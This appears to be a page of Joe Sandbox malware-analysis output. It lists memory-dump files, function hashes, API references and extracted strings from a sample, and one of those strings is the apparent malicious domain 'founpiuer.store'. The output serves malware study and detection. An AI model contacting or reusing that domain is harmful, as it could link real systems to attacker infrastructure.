Associated: 00000007.00000002.2956295104.0000000000E9A000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2956483822.0000000000E9B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2956623860.0000000000E9D000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2957524684.0000000000E9E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2957720893.0000000000EA5000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2957949516.0000000000EA6000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958176426.0000000000EA7000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958367445.0000000000EA8000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958611031.0000000000EAA000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958814593.0000000000EAD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959041268.0000000000EC2000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959244685.0000000000EC4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959499684.0000000000EC6000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959614161.0000000000EC7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959759951.0000000000ECA000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959957616.0000000000EDB000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960110523.0000000000EF0000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960274456.0000000000EF5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960436497.0000000000EFC000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960566156.0000000000F00000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960735396.0000000000F08000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960935320.0000000000F0B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961098020.0000000000F20000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961258433.0000000000F28000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961381387.0000000000F29000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961532883.0000000000F2C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961719872.0000000000F34000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961913769.0000000000F36000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961913769.0000000000F6F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962336406.0000000000F9B000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962525640.0000000000F9C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962641529.0000000000F9D000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962641529.0000000000FA2000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962971130.0000000000FB1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2963124807.0000000000FB2000.00000080.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_cb0000_44e053de15.jbxd

Similarity

API ID:
String ID: &A-C$5Q<S$6$6E+G$7U9W$8]S_$<Y?[$>M"O$E-A/$I)^+$M%E'$O9M;$P!N#$dc$eI?K$j3aUDY3aeWLdcGsJ9f5a_a2khnnbc8XpmOBYbeoSjy4-1730955676-0.0.1.1-/api$jabc
API String ID: 0-2173653319
Opcode ID: 1eaec7b02a5aadec33364ecfbe8b37e62694f2b029cdbe522d0adb3d79840d6c
Instruction ID: 68b6313bf75f40c5445bb60cdfbfb3fce018fe416950ee2b20e0cf18e7f5cd8d
Opcode Fuzzy Hash: 1eaec7b02a5aadec33364ecfbe8b37e62694f2b029cdbe522d0adb3d79840d6c
Instruction Fuzzy Hash: C5D1037160C3918BC724CF69D8903EFBBE2ABD1704F18892DE4E54B352D775890ADB92

Function 00CBE1A0 Relevance: 6.8, Strings: 5, Instructions: 540
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

txLL, xrefs: 00CBE697
i[k], xrefs: 00CBE4C3
n|of, xrefs: 00CBE6A7
Ehrd, xrefs: 00CBE68F
founpiuer.store, xrefs: 00CBE44E

Memory Dump Source

Source File: 00000007.00000002.2952172715.0000000000CB1000.00000040.00000001.01000000.00000009.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000007.00000002.2951907419.0000000000CB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2952869868.0000000000D09000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2953116177.0000000000D0B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2953330675.0000000000D17000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955289428.0000000000E6F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955573538.0000000000E71000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955841766.0000000000E86000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955841766.0000000000E91000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2956295104.0000000000E9A000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2956483822.0000000000E9B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2956623860.0000000000E9D000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2957524684.0000000000E9E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2957720893.0000000000EA5000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2957949516.0000000000EA6000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958176426.0000000000EA7000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958367445.0000000000EA8000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958611031.0000000000EAA000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958814593.0000000000EAD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959041268.0000000000EC2000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959244685.0000000000EC4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959499684.0000000000EC6000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959614161.0000000000EC7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959759951.0000000000ECA000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959957616.0000000000EDB000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960110523.0000000000EF0000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960274456.0000000000EF5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960436497.0000000000EFC000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960566156.0000000000F00000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960735396.0000000000F08000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960935320.0000000000F0B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961098020.0000000000F20000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961258433.0000000000F28000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961381387.0000000000F29000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961532883.0000000000F2C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961719872.0000000000F34000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961913769.0000000000F36000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961913769.0000000000F6F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962336406.0000000000F9B000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962525640.0000000000F9C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962641529.0000000000F9D000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962641529.0000000000FA2000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962971130.0000000000FB1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2963124807.0000000000FB2000.00000080.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_cb0000_44e053de15.jbxd

Similarity

API ID:
String ID: Ehrd$founpiuer.store$i[k]$n|of$txLL
API String ID: 0-156944295
Opcode ID: 49a56436e2d783660490ecee31e07708beb13c39cd26adacf6b298b729b6bf3e
Instruction ID: 7191666d05c3a8021d2d2f5a920ef8d7a88d11fd8b561b9267487ee724084e0b
Opcode Fuzzy Hash: 49a56436e2d783660490ecee31e07708beb13c39cd26adacf6b298b729b6bf3e
Instruction Fuzzy Hash: 2B02F2759083408FD7148F25EC827BEBBE1EF85704F18492CE5959B352EB358A0ADB93

Function 00CCD7F8 Relevance: 1.9, APIs: 1, Instructions: 413
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000007.00000002.2952172715.0000000000CB1000.00000040.00000001.01000000.00000009.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000007.00000002.2951907419.0000000000CB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2952869868.0000000000D09000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2953116177.0000000000D0B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2953330675.0000000000D17000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955289428.0000000000E6F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955573538.0000000000E71000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955841766.0000000000E86000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955841766.0000000000E91000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2956295104.0000000000E9A000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2956483822.0000000000E9B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2956623860.0000000000E9D000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2957524684.0000000000E9E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2957720893.0000000000EA5000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2957949516.0000000000EA6000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958176426.0000000000EA7000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958367445.0000000000EA8000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958611031.0000000000EAA000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958814593.0000000000EAD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959041268.0000000000EC2000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959244685.0000000000EC4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959499684.0000000000EC6000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959614161.0000000000EC7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959759951.0000000000ECA000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959957616.0000000000EDB000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960110523.0000000000EF0000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960274456.0000000000EF5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960436497.0000000000EFC000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960566156.0000000000F00000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960735396.0000000000F08000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960935320.0000000000F0B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961098020.0000000000F20000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961258433.0000000000F28000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961381387.0000000000F29000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961532883.0000000000F2C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961719872.0000000000F34000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961913769.0000000000F36000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961913769.0000000000F6F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962336406.0000000000F9B000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962525640.0000000000F9C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962641529.0000000000F9D000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962641529.0000000000FA2000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962971130.0000000000FB1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2963124807.0000000000FB2000.00000080.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_cb0000_44e053de15.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f128406cb66b97846cf8cfbac2524c1c5891a27bd155fb78d8be6002ed9c99ad
Instruction ID: 47d0fc7d8d4881ea6ba1594627cf9994edd9134740bb51c454901cb99c68fe8e
Opcode Fuzzy Hash: f128406cb66b97846cf8cfbac2524c1c5891a27bd155fb78d8be6002ed9c99ad
Instruction Fuzzy Hash: 85D10FB5504B418FD7248F28D881B63BBE2FF49310F18896DD4AB8B792E730E946CB51

Function 00CC104F Relevance: 1.6, APIs: 1, Instructions: 379
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoUninitialize.COMBASE(?,00000001,00000001,?,?,?,00000001,00000001,00000003,00000001,00000001,?,?,?,00000001,00000001), ref: 00CC1379

Memory Dump Source

Source File: 00000007.00000002.2952172715.0000000000CB1000.00000040.00000001.01000000.00000009.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000007.00000002.2951907419.0000000000CB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2952869868.0000000000D09000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2953116177.0000000000D0B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2953330675.0000000000D17000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955289428.0000000000E6F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955573538.0000000000E71000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955841766.0000000000E86000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955841766.0000000000E91000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2956295104.0000000000E9A000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2956483822.0000000000E9B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2956623860.0000000000E9D000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2957524684.0000000000E9E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2957720893.0000000000EA5000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2957949516.0000000000EA6000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958176426.0000000000EA7000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958367445.0000000000EA8000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958611031.0000000000EAA000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958814593.0000000000EAD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959041268.0000000000EC2000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959244685.0000000000EC4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959499684.0000000000EC6000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959614161.0000000000EC7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959759951.0000000000ECA000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959957616.0000000000EDB000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960110523.0000000000EF0000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960274456.0000000000EF5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960436497.0000000000EFC000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960566156.0000000000F00000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960735396.0000000000F08000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960935320.0000000000F0B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961098020.0000000000F20000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961258433.0000000000F28000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961381387.0000000000F29000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961532883.0000000000F2C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961719872.0000000000F34000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961913769.0000000000F36000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961913769.0000000000F6F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962336406.0000000000F9B000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962525640.0000000000F9C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962641529.0000000000F9D000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962641529.0000000000FA2000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962971130.0000000000FB1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2963124807.0000000000FB2000.00000080.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_cb0000_44e053de15.jbxd

Similarity

API ID: Uninitialize
String ID:
API String ID: 3861434553-0
Opcode ID: 2ca39a0feca24d78875ee22389e1b0bcdd59bef53a03e1d6da5144c5aba2914e
Instruction ID: e693870b7f74238ae114f93208a2ba58699c22a9ffe44501164231bae1c73bcb
Opcode Fuzzy Hash: 2ca39a0feca24d78875ee22389e1b0bcdd59bef53a03e1d6da5144c5aba2914e
Instruction Fuzzy Hash: 70B17BB5A003404BD710AF359CD2B6FB6A2AF95314F08853CE8474B783EF39E805A762

Function 00CEE210 Relevance: 1.6, APIs: 1, Instructions: 65
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(?,00000000,?), ref: 00CEE2A1

Memory Dump Source

Source File: 00000007.00000002.2952172715.0000000000CB1000.00000040.00000001.01000000.00000009.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000007.00000002.2951907419.0000000000CB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2952869868.0000000000D09000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2953116177.0000000000D0B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2953330675.0000000000D17000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955289428.0000000000E6F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955573538.0000000000E71000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955841766.0000000000E86000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955841766.0000000000E91000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2956295104.0000000000E9A000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2956483822.0000000000E9B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2956623860.0000000000E9D000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2957524684.0000000000E9E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2957720893.0000000000EA5000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2957949516.0000000000EA6000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958176426.0000000000EA7000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958367445.0000000000EA8000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958611031.0000000000EAA000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958814593.0000000000EAD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959041268.0000000000EC2000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959244685.0000000000EC4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959499684.0000000000EC6000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959614161.0000000000EC7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959759951.0000000000ECA000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959957616.0000000000EDB000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960110523.0000000000EF0000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960274456.0000000000EF5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960436497.0000000000EFC000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960566156.0000000000F00000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960735396.0000000000F08000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960935320.0000000000F0B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961098020.0000000000F20000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961258433.0000000000F28000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961381387.0000000000F29000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961532883.0000000000F2C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961719872.0000000000F34000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961913769.0000000000F36000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961913769.0000000000F6F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962336406.0000000000F9B000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962525640.0000000000F9C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962641529.0000000000F9D000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962641529.0000000000FA2000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2962971130.0000000000FB1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2963124807.0000000000FB2000.00000080.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_cb0000_44e053de15.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: fa5e8a1ecbedb4f9e1c4a40b1662b61e17f55cfcaaa3183ffb146db4bfc85796
Instruction ID: 9fcc67264b71719707f752b330e41f88f96240e1c40f574a50e2ce7bd7b9809f
Opcode Fuzzy Hash: fa5e8a1ecbedb4f9e1c4a40b1662b61e17f55cfcaaa3183ffb146db4bfc85796
Instruction Fuzzy Hash: B0114877E452508FC3148E28DCA176ABB5AEBC6711F1A453DD8849B691CA345806CB91

Function 00CF0F10 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(00CF4852,005C003F,00000002,00000018,?), ref: 00CF0F3E

Memory Dump Source

Source File: 00000007.00000002.2952172715.0000000000CB1000.00000040.00000001.01000000.00000009.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000007.00000002.2951907419.0000000000CB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2952869868.0000000000D09000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2953116177.0000000000D0B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2953330675.0000000000D17000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955289428.0000000000E6F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955573538.0000000000E71000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955841766.0000000000E86000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2955841766.0000000000E91000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2956295104.0000000000E9A000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2956483822.0000000000E9B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2956623860.0000000000E9D000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2957524684.0000000000E9E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2957720893.0000000000EA5000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2957949516.0000000000EA6000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958176426.0000000000EA7000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958367445.0000000000EA8000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958611031.0000000000EAA000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2958814593.0000000000EAD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959041268.0000000000EC2000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959244685.0000000000EC4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959499684.0000000000EC6000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959614161.0000000000EC7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959759951.0000000000ECA000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2959957616.0000000000EDB000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960110523.0000000000EF0000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960274456.0000000000EF5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960436497.0000000000EFC000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960566156.0000000000F00000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960735396.0000000000F08000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2960935320.0000000000F0B000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2961098020.0000000000F20000.00000080.00000001.01000000.00000009.sdmpDownload File
